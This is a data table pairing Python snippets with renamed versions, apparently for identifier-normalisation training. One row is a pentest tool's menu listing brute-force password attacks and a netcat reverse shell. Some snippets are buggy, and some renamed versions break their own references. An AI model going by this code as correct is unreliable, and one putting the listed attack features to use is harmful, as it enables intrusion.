content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
class CopyAsValuesParam(object):
def __init__(self, **kargs):
self.nodeId = kargs["nodeId"] if "nodeId" in kargs else None
self.asNewNode = kargs["asNewNode"] if "asNewNode" in kargs else False
| class Copyasvaluesparam(object):
def __init__(self, **kargs):
self.nodeId = kargs['nodeId'] if 'nodeId' in kargs else None
self.asNewNode = kargs['asNewNode'] if 'asNewNode' in kargs else False |
# a queue is a data structure in which the data element entered first is removed first
# basically you insert elements from one end and remove them from another end
# a very simple, and cliche example would be that of a plain old queue at McDonald's
# The person who joined the queue first will order first, and the one who joined last will order last
# (unless you're a prick)
# queues have two important operations:
# queue
# dequeue
# queuing is basically entereing a new element to the end of the queue
# dequeing is removing an element from the front of the queue
# let us try to build a queue using an array
# we will have a few functions
# one to queue new elements
# one to dequeue elements
# one to print the queue
# one to get the front of the queue
# one to get the end of the queue
# one to check if the queue is empty
class OurQueue:
def __init__(self):
self.front = -1
self.end = -1
self.elements = []
def queue(self, value):
self.front = self.front + 1
self.elements.insert(self.top, value)
def pop(self):
if (self.top >= 0):
self.top = self.top - 1
else:
print("Cannot pop because the stack is empty.")
def peek(self):
print(self.elements[self.top])
def isEmpty(self):
if(self.top == -1):
return True
else:
return False
def length(self):
return self.top + 1
def display(self):
if(self.top == -1):
print("Stack is empty!")
else:
for i in range(self.top, -1, -1):
print(self.elements[i], end=' ')
# also try out stack with linked lists, and when you do please contrivute to this project right here lol | class Ourqueue:
def __init__(self):
self.front = -1
self.end = -1
self.elements = []
def queue(self, value):
self.front = self.front + 1
self.elements.insert(self.top, value)
def pop(self):
if self.top >= 0:
self.top = self.top - 1
else:
print('Cannot pop because the stack is empty.')
def peek(self):
print(self.elements[self.top])
def is_empty(self):
if self.top == -1:
return True
else:
return False
def length(self):
return self.top + 1
def display(self):
if self.top == -1:
print('Stack is empty!')
else:
for i in range(self.top, -1, -1):
print(self.elements[i], end=' ') |
#!/usr/bin/env python3
def coverage_test_helper():
one = 10 + 3 - 12
print('This function should be called {one} time to achieve 100% coverage')
return one
| def coverage_test_helper():
one = 10 + 3 - 12
print('This function should be called {one} time to achieve 100% coverage')
return one |
class Checksum:
@staticmethod
def calc(data: str):
chksum = Checksum.__str_list2bin(data)
chksum = Checksum.__sum_bytes(chksum)
map(lambda x: bytearray(x + 1)[0], chksum)
return chksum
@staticmethod
def __str_list2bin(data: str) -> list:
map(lambda x: bytearray(x, "utf-8"), data)
return data
@staticmethod
def __sum_bytes(arr: list) -> bytearray:
actual_sum = arr[0]
[actual_sum := Checksum.__overflow(actual_sum, x) + bytearray(actual_sum + x) for x in arr[1:]]
return actual_sum
@staticmethod
def __overflow(actsum, arr) -> bytearray:
if bytearray(actsum, arr)[16] == 1:
return bytearray(b"000000000000001")
else:
return bytearray(b"000000000000000")
| class Checksum:
@staticmethod
def calc(data: str):
chksum = Checksum.__str_list2bin(data)
chksum = Checksum.__sum_bytes(chksum)
map(lambda x: bytearray(x + 1)[0], chksum)
return chksum
@staticmethod
def __str_list2bin(data: str) -> list:
map(lambda x: bytearray(x, 'utf-8'), data)
return data
@staticmethod
def __sum_bytes(arr: list) -> bytearray:
actual_sum = arr[0]
[(actual_sum := (Checksum.__overflow(actual_sum, x) + bytearray(actual_sum + x))) for x in arr[1:]]
return actual_sum
@staticmethod
def __overflow(actsum, arr) -> bytearray:
if bytearray(actsum, arr)[16] == 1:
return bytearray(b'000000000000001')
else:
return bytearray(b'000000000000000') |
# --------------
##File path for the file
file_path
#Code starts here
#Function to read file
def read_file(path):
#Opening of the file located in the path in 'read' mode
file = open(path, 'r')
#Reading of the first line of the file and storing it in a variable
sentence=file.readline()
#Closing of the file
file.close()
#Returning the first line of the file
return sentence
#Calling the function to read file
sample_message=read_file(file_path)
#Printing the line of the file
print(sample_message)
#Code ends here
# --------------
#Code starts here
#Opening files:
file_1 = open(file_path_1)
file_2 = open(file_path_2)
#Reading & Printing messages:
message_1 = read_file(file_path_1)
print(message_1)
message_2 = read_file(file_path_2)
print(message_2)
#Declaring a function fuse_msg():
def fuse_msg(message_a, message_b):
int_message_a = int(message_a)
int_message_b = int(message_b)
quotient = (int_message_b//int_message_a)
return str(quotient)
#Calling the function fuse_msg():
secret_msg_1 = fuse_msg(message_1,message_2)
print(secret_msg_1)
# --------------
#Code starts here
#Opening file:
file_3 = open(file_path_3)
#Reading file:
message_3 = read_file(file_path_3)
print(message_3)
#Defining a function substitute_msg():
def substitute_msg(message_c):
sub = ''
if str(message_c) == 'Red':
sub = 'Army General'
elif str(message_c) == 'Green':
sub = 'Data Scientist'
elif str(message_c) == 'Blue':
sub = 'Marine Biologist'
return str(sub)
#Calling function substitute_msg():
secret_msg_2 = substitute_msg(message_3)
# --------------
# Opening files:
file_4 = open(file_path_4)
file_5 = open(file_path_5)
# Reading files:
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print(message_4)
print(message_5)
# Declaring function compare_msg():
def compare_msg(message_d, message_e):
a_list = message_d.split(' ')
b_list = message_e.split(' ')
c_list = [i for i in a_list + b_list if i not in b_list]
final_msg = ' '.join(c_list)
return final_msg
# Calling function compare_msg():
secret_msg_3 = compare_msg(message_4, message_5)
#Code starts here
# --------------
#Code starts here
#Opening file:
file_6 = open(file_path_6)
#Reading file:
message_6 = read_file(file_path_6)
print(message_6)
#Declaring function extract_msg():
def extract_msg(message_f):
a_list = message_f.split(' ')
even_word = lambda x : (len(x)%2 == 0)
b_list = filter(even_word, a_list)
final_msg = ' '.join(b_list)
return str(final_msg)
#Calling function extract_msg():
secret_msg_4 = extract_msg(message_6)
print(secret_msg_4)
# --------------
#Secret message parts in the correct order
message_parts=[secret_msg_3, secret_msg_1, secret_msg_4, secret_msg_2]
final_path= user_data_dir + '/secret_message.txt'
#Code starts here
secret_msg = ' '.join(message_parts)
print(secret_msg)
#Declaraing function write_file():
def write_file(secret_msg, path):
file_final = open(path, mode='a+')
file_final.write(' '.join(secret_msg))
file_final.close()
#Calling function write_file():
ans = write_file(secret_msg, final_path)
print(ans)
| file_path
def read_file(path):
file = open(path, 'r')
sentence = file.readline()
file.close()
return sentence
sample_message = read_file(file_path)
print(sample_message)
file_1 = open(file_path_1)
file_2 = open(file_path_2)
message_1 = read_file(file_path_1)
print(message_1)
message_2 = read_file(file_path_2)
print(message_2)
def fuse_msg(message_a, message_b):
int_message_a = int(message_a)
int_message_b = int(message_b)
quotient = int_message_b // int_message_a
return str(quotient)
secret_msg_1 = fuse_msg(message_1, message_2)
print(secret_msg_1)
file_3 = open(file_path_3)
message_3 = read_file(file_path_3)
print(message_3)
def substitute_msg(message_c):
sub = ''
if str(message_c) == 'Red':
sub = 'Army General'
elif str(message_c) == 'Green':
sub = 'Data Scientist'
elif str(message_c) == 'Blue':
sub = 'Marine Biologist'
return str(sub)
secret_msg_2 = substitute_msg(message_3)
file_4 = open(file_path_4)
file_5 = open(file_path_5)
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print(message_4)
print(message_5)
def compare_msg(message_d, message_e):
a_list = message_d.split(' ')
b_list = message_e.split(' ')
c_list = [i for i in a_list + b_list if i not in b_list]
final_msg = ' '.join(c_list)
return final_msg
secret_msg_3 = compare_msg(message_4, message_5)
file_6 = open(file_path_6)
message_6 = read_file(file_path_6)
print(message_6)
def extract_msg(message_f):
a_list = message_f.split(' ')
even_word = lambda x: len(x) % 2 == 0
b_list = filter(even_word, a_list)
final_msg = ' '.join(b_list)
return str(final_msg)
secret_msg_4 = extract_msg(message_6)
print(secret_msg_4)
message_parts = [secret_msg_3, secret_msg_1, secret_msg_4, secret_msg_2]
final_path = user_data_dir + '/secret_message.txt'
secret_msg = ' '.join(message_parts)
print(secret_msg)
def write_file(secret_msg, path):
file_final = open(path, mode='a+')
file_final.write(' '.join(secret_msg))
file_final.close()
ans = write_file(secret_msg, final_path)
print(ans) |
# Adapted from: https://stackoverflow.com/questions/37935920/quantile-normalization-on-pandas-dataframe
# Citing: https://en.wikipedia.org/wiki/Quantile_normalization
class QNorm:
def __init__(self):
return
def fit(self,df):
return _QNormFit(self,df.stack().groupby(df.rank(method='first').stack().astype(int)).mean())
def fit_transform(self,df):
return self.fit(df).transform(df)
class _QNormFit:
def __init__(self,parent,df):
self.qnorm = parent
self.rank_mean = df
return
def transform(self,df):
return df.rank(method='min').stack().astype(int).map(self.rank_mean).unstack()
| class Qnorm:
def __init__(self):
return
def fit(self, df):
return _q_norm_fit(self, df.stack().groupby(df.rank(method='first').stack().astype(int)).mean())
def fit_transform(self, df):
return self.fit(df).transform(df)
class _Qnormfit:
def __init__(self, parent, df):
self.qnorm = parent
self.rank_mean = df
return
def transform(self, df):
return df.rank(method='min').stack().astype(int).map(self.rank_mean).unstack() |
class PluginError(Exception):
pass
class OneLoginClientError(PluginError):
pass
class UserNotFound(PluginError):
pass
class FactorNotFound(PluginError):
pass
class TimeOutError(PluginError):
pass
class APIResponseError(PluginError):
pass | class Pluginerror(Exception):
pass
class Oneloginclienterror(PluginError):
pass
class Usernotfound(PluginError):
pass
class Factornotfound(PluginError):
pass
class Timeouterror(PluginError):
pass
class Apiresponseerror(PluginError):
pass |
YES = "LuckyChef"
NO = "UnluckyChef"
def solve():
for _ in range(int(input())):
x, y, k, n = map(int, input().split())
arr = []
for __ in range(n):
arr.append(list(map(int, input().split())))
remaining_pages = x - y
if remaining_pages <= 0:
print(YES)
continue
for pages, price in arr:
if pages >= remaining_pages and price <= k:
print(YES)
break
else:
print(NO)
solve()
| yes = 'LuckyChef'
no = 'UnluckyChef'
def solve():
for _ in range(int(input())):
(x, y, k, n) = map(int, input().split())
arr = []
for __ in range(n):
arr.append(list(map(int, input().split())))
remaining_pages = x - y
if remaining_pages <= 0:
print(YES)
continue
for (pages, price) in arr:
if pages >= remaining_pages and price <= k:
print(YES)
break
else:
print(NO)
solve() |
nome = input('Digite seu nome completo: ')
nomem = nome.upper()
nomemin = nome.lower()
fat = nome.split()
juntin = '-'.join(fat)
nomefatiado = nome.replace(" ", "")
print(len(nomefatiado))
print(nomemin)
print(nomem)
print(len(fat[0]))
print(fat)
print(juntin) | nome = input('Digite seu nome completo: ')
nomem = nome.upper()
nomemin = nome.lower()
fat = nome.split()
juntin = '-'.join(fat)
nomefatiado = nome.replace(' ', '')
print(len(nomefatiado))
print(nomemin)
print(nomem)
print(len(fat[0]))
print(fat)
print(juntin) |
if __name__ == '__main__':
n = int(input())
arr = map(int, input().split())
# Copy original array
new_arr = set(arr)
# Remove max values
new_arr.remove(max(new_arr))
# Print new max (2nd max)
print(max(new_arr))
| if __name__ == '__main__':
n = int(input())
arr = map(int, input().split())
new_arr = set(arr)
new_arr.remove(max(new_arr))
print(max(new_arr)) |
a, b, c = map(int, input().split())
if b - a == c - b:
print("YES")
else:
print("NO") | (a, b, c) = map(int, input().split())
if b - a == c - b:
print('YES')
else:
print('NO') |
# https://leetcode.com/problems/longest-valid-parentheses/
# Given a string containing just the characters '(' and ')', find the length of
# the longest valid (well-formed) parentheses substring.
################################################################################
# dp[i] = longest valid of s[i:n] starting with s[i] -> travel backwards
# s[i], [valid of len = dp[i+1]], s[j], [valid of len = dp[j+1]], ...
class Solution:
def longestValidParentheses(self, s: str) -> int:
if len(s) <= 1: return 0
n = len(s)
ans = 0
dp = [0] * n
for i in range(n - 2, -1, -1):
if s[i] == "(":
# loop for ")" at j: s[i], [valid of len = dp[i+1]], s[j]
j = i + dp[i + 1] + 1
if j < n and s[j] == ")":
dp[i] = dp[i + 1] + 2
if j + 1 < n: # cumlative valid length starting with s[j+1]
dp[i] += dp[j + 1]
return max(dp)
| class Solution:
def longest_valid_parentheses(self, s: str) -> int:
if len(s) <= 1:
return 0
n = len(s)
ans = 0
dp = [0] * n
for i in range(n - 2, -1, -1):
if s[i] == '(':
j = i + dp[i + 1] + 1
if j < n and s[j] == ')':
dp[i] = dp[i + 1] + 2
if j + 1 < n:
dp[i] += dp[j + 1]
return max(dp) |
def fizz_buzz(n):
for fizz_buzz in range(n+1):
if fizz_buzz % 3 == 0 and fizz_buzz % 5 == 0:
print("fizzbuzz")
continue
elif fizz_buzz % 3 == 0:
print("fizz")
continue
elif fizz_buzz % 5 == 0:
print("buzz")
print(fizz_buzz)
fizz_buzz(26)
if __name__ == "__main__":
fizz_buzz(100) | def fizz_buzz(n):
for fizz_buzz in range(n + 1):
if fizz_buzz % 3 == 0 and fizz_buzz % 5 == 0:
print('fizzbuzz')
continue
elif fizz_buzz % 3 == 0:
print('fizz')
continue
elif fizz_buzz % 5 == 0:
print('buzz')
print(fizz_buzz)
fizz_buzz(26)
if __name__ == '__main__':
fizz_buzz(100) |
#import GreenMindLib
msg_menu = '''
Use: sudo ./green -u http://businesscorp.com.br -o teste.txt \n\n
Green Recon
=============
Command Description
------- -----------
greenrecon Start recon OSINT
recon Suite recon OSINT
google_search Recon google search
shodan_search Recon shodan search
hostname Recon IP using URL
whois Search whois
traceroute Recon traceroute
check_robots Check Robots.txt
archive_search Search archive history
check_cms Check CMS
sharingmyip Check using http://sharingmyip.com
Use:
greenrecon http://businesscorp.com.br teste.txt
recon google_search https://greenmindlabs.com
recon shodan_search 37.59.174.225
recon hostname http://businesscorp.com.br
recon whois 37.59.174.225
recon traceroute http://businesscorp.com.br
recon check_robots http://businesscorp.com.br
recon archive_search http://businesscorp.com.br
recon check_cms https://greenmindlabs.com
recon sharingmyip https://greenmindlabs.com
Core Commands
=============
Command Description
------- -----------
? Help menu
exit Exit the console
help Help menu
version Show the version numbers
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
cripto encrypt_base64 teste
cripto decrypt_base64 dGVzdGU=
cripto encrypt_md5 teste
cripto encrypt_sha1 teste
cripto encrypt_sha256 teste
cripto encrypt_sha512 teste
System Backend Commands
============================
Command Description
------- -----------
help Menu help
exit Green exit program
'''
msg_menu2 = '''
Green Basic Commands
=============
Command Description
------- -----------
greenrecon Start recon
Core Commands
=============
Command Description
------- -----------
? Help menu
exit Exit the console
help Help menu
version Show the version numbers
Brute Force Commands
========================
Command Description
------- -----------
bruteforce_linux Brute force attack on a Linux password
bruteforce_windows_nt Brute force attack on Windows NT
bruteforce_windows_lm Brute force attack on Windows LM
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
System Backend Commands
============================
Command Description
------- -----------
reverse_shell Reverse shell using netcat
pwd Current directory
ls List dir
help Menu help
exit Green exit program
'''
msg_cripto='''
Green Cripto
=============
Command Description
------- -----------
cripto
reverse Reverse string
encrypt_base64 Encrypt Base64
decrypt_base64 Decrypt Base64
encrypt_md5 Encrypt MD5
encrypt_sha1 Encrypt SHA1
encrypt_sha256 Encrypt SHA256
encrypt_sha512 Encrypt SHA512
Use:
cripto reverse "54321"
'''
msg_set='''
Green Set
=============
Command Description
------- -----------
set
payload Insert payload
Use: set payload "web"
'''
| msg_menu = '\n\n Use: sudo ./green -u http://businesscorp.com.br -o teste.txt \n\n\nGreen Recon\n=============\n\n Command Description\n ------- -----------\n greenrecon Start recon OSINT\n recon Suite recon OSINT\n google_search Recon google search\n shodan_search Recon shodan search\n hostname Recon IP using URL\n whois Search whois\n traceroute Recon traceroute\n check_robots Check Robots.txt\n archive_search Search archive history\n check_cms Check CMS\n sharingmyip Check using http://sharingmyip.com\n Use:\n greenrecon http://businesscorp.com.br teste.txt\n recon google_search https://greenmindlabs.com\n recon shodan_search 37.59.174.225\n recon hostname http://businesscorp.com.br\n recon whois 37.59.174.225\n recon traceroute http://businesscorp.com.br\n recon check_robots http://businesscorp.com.br\n recon archive_search http://businesscorp.com.br\n recon check_cms https://greenmindlabs.com\n recon sharingmyip https://greenmindlabs.com\n\nCore Commands\n=============\n\n Command Description\n ------- -----------\n ? Help menu\n exit Exit the console\n help Help menu\n version Show the version numbers\n\nGreen Cripto\n=============\n\n Command Description\n ------- -----------\n cripto\n reverse Reverse string\n encrypt_base64 Encrypt Base64\n decrypt_base64 Decrypt Base64\n encrypt_md5 Encrypt MD5\n encrypt_sha1 Encrypt SHA1\n encrypt_sha256 Encrypt SHA256\n encrypt_sha512 Encrypt SHA512\n Use:\n cripto reverse "54321"\n cripto encrypt_base64 teste\n cripto decrypt_base64 dGVzdGU=\n cripto encrypt_md5 teste\n cripto encrypt_sha1 teste\n cripto encrypt_sha256 teste\n cripto encrypt_sha512 teste\n\nSystem Backend Commands\n============================\n\n Command Description\n ------- -----------\n help Menu help\n exit Green exit program\n'
msg_menu2 = '\n\nGreen Basic Commands\n=============\n\n Command Description\n ------- -----------\n greenrecon Start recon\n\nCore Commands\n=============\n\n Command Description\n ------- -----------\n ? Help menu\n exit Exit the console\n help Help menu\n version Show the version numbers\n\n\nBrute Force Commands\n========================\n\n Command Description\n ------- -----------\n bruteforce_linux Brute force attack on a Linux password\n bruteforce_windows_nt Brute force attack on Windows NT\n bruteforce_windows_lm Brute force attack on Windows LM\n\nGreen Cripto\n=============\n\n Command Description\n ------- -----------\n cripto\n reverse Reverse string\n encrypt_base64 Encrypt Base64\n decrypt_base64 Decrypt Base64\n encrypt_md5 Encrypt MD5\n encrypt_sha1 Encrypt SHA1\n encrypt_sha256 Encrypt SHA256\n encrypt_sha512 Encrypt SHA512\n Use:\n cripto reverse "54321"\n\nSystem Backend Commands\n============================\n\n Command Description\n ------- -----------\n reverse_shell Reverse shell using netcat\n pwd Current directory\n ls List dir\n help Menu help\n exit Green exit program\n'
msg_cripto = '\nGreen Cripto\n=============\n\n Command Description\n ------- -----------\n cripto\n reverse Reverse string\n encrypt_base64 Encrypt Base64\n decrypt_base64 Decrypt Base64\n encrypt_md5 Encrypt MD5\n encrypt_sha1 Encrypt SHA1\n encrypt_sha256 Encrypt SHA256\n encrypt_sha512 Encrypt SHA512\n Use:\n cripto reverse "54321"\n\n'
msg_set = '\nGreen Set\n=============\n\n Command Description\n ------- -----------\n set\n payload Insert payload\n\n Use: set payload "web"\n' |
_base_ = [
'../../_base_/default_runtime.py',
'../../_base_/schedules/schedule_sgd_1200e.py',
'../../_base_/det_models/dbnet_r18_fpnc.py',
'../../_base_/det_datasets/icdar2015.py',
'../../_base_/det_pipelines/dbnet_pipeline.py'
]
train_list = {{_base_.train_list}}
test_list = {{_base_.test_list}}
train_pipeline_r18 = {{_base_.train_pipeline_r18}}
test_pipeline_1333_736 = {{_base_.test_pipeline_1333_736}}
data = dict(
samples_per_gpu=16,
workers_per_gpu=8,
val_dataloader=dict(samples_per_gpu=1),
test_dataloader=dict(samples_per_gpu=1),
train=dict(
type='UniformConcatDataset',
datasets=train_list,
pipeline=train_pipeline_r18),
val=dict(
type='UniformConcatDataset',
datasets=test_list,
pipeline=test_pipeline_1333_736),
test=dict(
type='UniformConcatDataset',
datasets=test_list,
pipeline=test_pipeline_1333_736))
evaluation = dict(interval=100, metric='hmean-iou')
| _base_ = ['../../_base_/default_runtime.py', '../../_base_/schedules/schedule_sgd_1200e.py', '../../_base_/det_models/dbnet_r18_fpnc.py', '../../_base_/det_datasets/icdar2015.py', '../../_base_/det_pipelines/dbnet_pipeline.py']
train_list = {{_base_.train_list}}
test_list = {{_base_.test_list}}
train_pipeline_r18 = {{_base_.train_pipeline_r18}}
test_pipeline_1333_736 = {{_base_.test_pipeline_1333_736}}
data = dict(samples_per_gpu=16, workers_per_gpu=8, val_dataloader=dict(samples_per_gpu=1), test_dataloader=dict(samples_per_gpu=1), train=dict(type='UniformConcatDataset', datasets=train_list, pipeline=train_pipeline_r18), val=dict(type='UniformConcatDataset', datasets=test_list, pipeline=test_pipeline_1333_736), test=dict(type='UniformConcatDataset', datasets=test_list, pipeline=test_pipeline_1333_736))
evaluation = dict(interval=100, metric='hmean-iou') |
class MoveNotFound(Exception):
pass
class CharacterNotFound(Exception):
pass
class OptionError(Exception):
pass
class LimitError(Exception):
pass
class CharacterMainError(Exception):
pass
class CharacterSubError(Exception):
pass
class CommandNotFound(Exception):
pass
class CommandAlreadyExisting(Exception):
pass
class ChannelAlreadyAdded(Exception):
pass
class ChannelNonExistent(Exception):
pass
class GuildNotSetError(Exception):
pass
class PrefixError(Exception):
pass
class LinkNotFound(Exception):
pass
class DatabaseInitError(Exception):
pass
class TableNameError(Exception):
pass
class ColumnNameError(Exception):
pass
class MoveNameError(Exception):
pass
class CharacterNameError(Exception):
pass
class NotInitializedError(Exception):
pass
class ChannelNotSetError(Exception):
pass
| class Movenotfound(Exception):
pass
class Characternotfound(Exception):
pass
class Optionerror(Exception):
pass
class Limiterror(Exception):
pass
class Charactermainerror(Exception):
pass
class Charactersuberror(Exception):
pass
class Commandnotfound(Exception):
pass
class Commandalreadyexisting(Exception):
pass
class Channelalreadyadded(Exception):
pass
class Channelnonexistent(Exception):
pass
class Guildnotseterror(Exception):
pass
class Prefixerror(Exception):
pass
class Linknotfound(Exception):
pass
class Databaseiniterror(Exception):
pass
class Tablenameerror(Exception):
pass
class Columnnameerror(Exception):
pass
class Movenameerror(Exception):
pass
class Characternameerror(Exception):
pass
class Notinitializederror(Exception):
pass
class Channelnotseterror(Exception):
pass |
with open('pessoa.csv') as arquivo:
with open('pessoas.txt', 'w') as saida:
for registro in arquivo:
registro = registro.strip().split(',')
print(f'Nome:{registro[0]}, Idade: {registro[1]} anos', file=saida) | with open('pessoa.csv') as arquivo:
with open('pessoas.txt', 'w') as saida:
for registro in arquivo:
registro = registro.strip().split(',')
print(f'Nome:{registro[0]}, Idade: {registro[1]} anos', file=saida) |
class PrettyException(Exception):
"Semantic errors in prettyqr."
pass
class ImageNotSquareException(PrettyException):
pass
class BaseImageSmallerThanQRCodeException(PrettyException):
pass
| class Prettyexception(Exception):
"""Semantic errors in prettyqr."""
pass
class Imagenotsquareexception(PrettyException):
pass
class Baseimagesmallerthanqrcodeexception(PrettyException):
pass |
#
# Author:
# Date:
# Description:
#
# Constants used to refer to the parts of the quiz question
CATEGORY = 0
VALUE = 1
QUESTION = 2
ANSWER = 3
#
# Read lines of text from a specified file and create a list of those lines
# with each line added as a separate String item in the list
#
# Parameter
# inputFile - A String with the name of a text file to convert to a Lit
#
# Return
# A List containing each line from the text file
def getListFromFile (inputFile):
outputList = []
try:
source = open(inputFile,"r")
outputList = source.readlines()
source.close()
except FileNotFoundError:
print("Unable to open input file: " + inputFile)
return outputList
#
# Splits a String containing all question information, then
# returns the specified part of the question
#
#
# Parameters
# question - String containing comma separated quiz question details
# whichInfo - constant representing which part of the question to return
# should be one of CATEGORY, VALUE, QUESTION, ANSWER
# Return
# String containing the specified part of the question
def getInfo(question, whichInfo):
# paste your getInfo implementation here
return ""
#####################################
## Main
#####################################
# Read the CSV file and get a list of contents
# Create a new list in which to store the categories
# Iterate through the file contents to get each category
# If the category isn't in the category list already, add the category to the category list
# HINT: to check if something IS in a list, you use -- if elem in myList:
# to check if something IS NOT in a list you use -- if elem not in myList:
# Use a for loop to print all the categories
| category = 0
value = 1
question = 2
answer = 3
def get_list_from_file(inputFile):
output_list = []
try:
source = open(inputFile, 'r')
output_list = source.readlines()
source.close()
except FileNotFoundError:
print('Unable to open input file: ' + inputFile)
return outputList
def get_info(question, whichInfo):
return '' |
def C_to_F(temp):
temp = temp*9/5+32
return temp
def F_to_C(temp):
temp = (temp-32)*5.0/9.0
return temp
sel = input('\nCelsius and Fahrenheit Convert\n\n'+
'(A) Fatrenheit to Celsius\n'+
'(B) Celsius to Fatrenheit\n'+
'(C) Exit\n\n'+
'Please input...> ')
while sel != 'C':
temp = int(input('Please input temperature...> '))
if sel == 'A':
temp = F_to_C(temp)
else:
temp = C_to_F(temp)
print('temperature is converted into',temp)
sel = input('\nCelsius and Fahrenheit Convert\n\n'+
'(A) Fatrenheit to Celsius\n'+
'(B) Celsius to Fatrenheit\n'+
'(C) Exit\n\n'+
'Please input...> ')
| def c_to_f(temp):
temp = temp * 9 / 5 + 32
return temp
def f_to_c(temp):
temp = (temp - 32) * 5.0 / 9.0
return temp
sel = input('\nCelsius and Fahrenheit Convert\n\n' + '(A) Fatrenheit to Celsius\n' + '(B) Celsius to Fatrenheit\n' + '(C) Exit\n\n' + 'Please input...> ')
while sel != 'C':
temp = int(input('Please input temperature...> '))
if sel == 'A':
temp = f_to_c(temp)
else:
temp = c_to_f(temp)
print('temperature is converted into', temp)
sel = input('\nCelsius and Fahrenheit Convert\n\n' + '(A) Fatrenheit to Celsius\n' + '(B) Celsius to Fatrenheit\n' + '(C) Exit\n\n' + 'Please input...> ') |
# first line: 1
@memory.cache
def vsigmomEdw_NR(Erecoil_keV, aH):
return [sigmomEdw(x,band='NR',label='GGA3',F=0.000001,V=4.0,aH=aH,alpha=(1/18.0)) for x in Erecoil_keV]
| @memory.cache
def vsigmom_edw_nr(Erecoil_keV, aH):
return [sigmom_edw(x, band='NR', label='GGA3', F=1e-06, V=4.0, aH=aH, alpha=1 / 18.0) for x in Erecoil_keV] |
for i in range(101):
if i % 15 == 0:
print("Fizzbuzz")
elif i % 3 == 0:
print("Fizz")
elif i % 5 == 0:
print("Buzz")
else:
print(i)
| for i in range(101):
if i % 15 == 0:
print('Fizzbuzz')
elif i % 3 == 0:
print('Fizz')
elif i % 5 == 0:
print('Buzz')
else:
print(i) |
RESOURCE = "https://graph.microsoft.com" # Add the resource you want the access token for
TENANT = "Your tenant" # Enter tenant name, e.g. contoso.onmicrosoft.com
AUTHORITY_HOST_URL = "https://login.microsoftonline.com"
CLIENT_ID = "Your client id " # copy the Application ID of your app from your Azure portal
CLIENT_SECRET = "Your client secret" # copy the value of key you generated when setting up the application
# These settings are for the Microsoft Graph API Call
API_VERSION = 'v1.0'
| resource = 'https://graph.microsoft.com'
tenant = 'Your tenant'
authority_host_url = 'https://login.microsoftonline.com'
client_id = 'Your client id '
client_secret = 'Your client secret'
api_version = 'v1.0' |
# Hiztegi bat deklaratu ta aldagaiak jarri, erabiltzaileak sartu ditzan
hizt = {}
EI = input("Sartu zure erabiltzaile izena:\n")
hizt['Erabiltzaile_izena'] = EI
PH = input("Sartu zure pasahitza:\n")
hizt['Pasahitza'] = PH
# Aldagai hoiek gorde ta bukle batekin bere datuak sartzea, ondo sartu arte (input = hiztegian sartutako datua)
print("\n\nERREGISTRO LEIHOA\n")
input("Sartu zure erabiltzaile izena:\n")
if input == EI:
print("Ondo, orain sartu pasahitza.")
else:
print("Gaizki.") | hizt = {}
ei = input('Sartu zure erabiltzaile izena:\n')
hizt['Erabiltzaile_izena'] = EI
ph = input('Sartu zure pasahitza:\n')
hizt['Pasahitza'] = PH
print('\n\nERREGISTRO LEIHOA\n')
input('Sartu zure erabiltzaile izena:\n')
if input == EI:
print('Ondo, orain sartu pasahitza.')
else:
print('Gaizki.') |
#!/usr/bin/env python3
x, y = map(int, input().strip().split())
while x != 0 and y != 0:
att = list(map(int, input().strip().split()))
att.sort()
dff = list(map(int, input().strip().split()))
dff.sort()
if(att[0] < dff[1]):
print("Y")
else:
print("N")
x, y = map(int, input().strip().split())
| (x, y) = map(int, input().strip().split())
while x != 0 and y != 0:
att = list(map(int, input().strip().split()))
att.sort()
dff = list(map(int, input().strip().split()))
dff.sort()
if att[0] < dff[1]:
print('Y')
else:
print('N')
(x, y) = map(int, input().strip().split()) |
FreeSansBold9pt7bBitmaps = [
0xFF, 0xFF, 0xFE, 0x48, 0x7E, 0xEF, 0xDF, 0xBF, 0x74, 0x40, 0x19, 0x86,
0x67, 0xFD, 0xFF, 0x33, 0x0C, 0xC3, 0x33, 0xFE, 0xFF, 0x99, 0x86, 0x61,
0x90, 0x10, 0x1F, 0x1F, 0xDE, 0xFF, 0x3F, 0x83, 0xC0, 0xFC, 0x1F, 0x09,
0xFC, 0xFE, 0xF7, 0xF1, 0xE0, 0x40, 0x38, 0x10, 0x7C, 0x30, 0xC6, 0x20,
0xC6, 0x40, 0xC6, 0x40, 0x7C, 0x80, 0x39, 0x9C, 0x01, 0x3E, 0x03, 0x63,
0x02, 0x63, 0x04, 0x63, 0x0C, 0x3E, 0x08, 0x1C, 0x0E, 0x01, 0xF8, 0x3B,
0x83, 0xB8, 0x3F, 0x01, 0xE0, 0x3E, 0x67, 0x76, 0xE3, 0xEE, 0x1C, 0xF3,
0xC7, 0xFE, 0x3F, 0x70, 0xFF, 0xF4, 0x18, 0x63, 0x1C, 0x73, 0x8E, 0x38,
0xE3, 0x8E, 0x18, 0x70, 0xC3, 0x06, 0x08, 0x61, 0x83, 0x0E, 0x38, 0x71,
0xC7, 0x1C, 0x71, 0xC6, 0x38, 0xE3, 0x18, 0x40, 0x21, 0x3E, 0x45, 0x28,
0x38, 0x70, 0xE7, 0xFF, 0xE7, 0x0E, 0x1C, 0xFC, 0x9C, 0xFF, 0xC0, 0xFC,
0x08, 0xC4, 0x23, 0x10, 0x84, 0x62, 0x11, 0x88, 0x00, 0x3E, 0x3F, 0x9D,
0xDC, 0x7E, 0x3F, 0x1F, 0x8F, 0xC7, 0xE3, 0xF1, 0xDD, 0xCF, 0xE3, 0xE0,
0x08, 0xFF, 0xF3, 0x9C, 0xE7, 0x39, 0xCE, 0x73, 0x80, 0x3E, 0x3F, 0xB8,
0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0F, 0xF7, 0xF8,
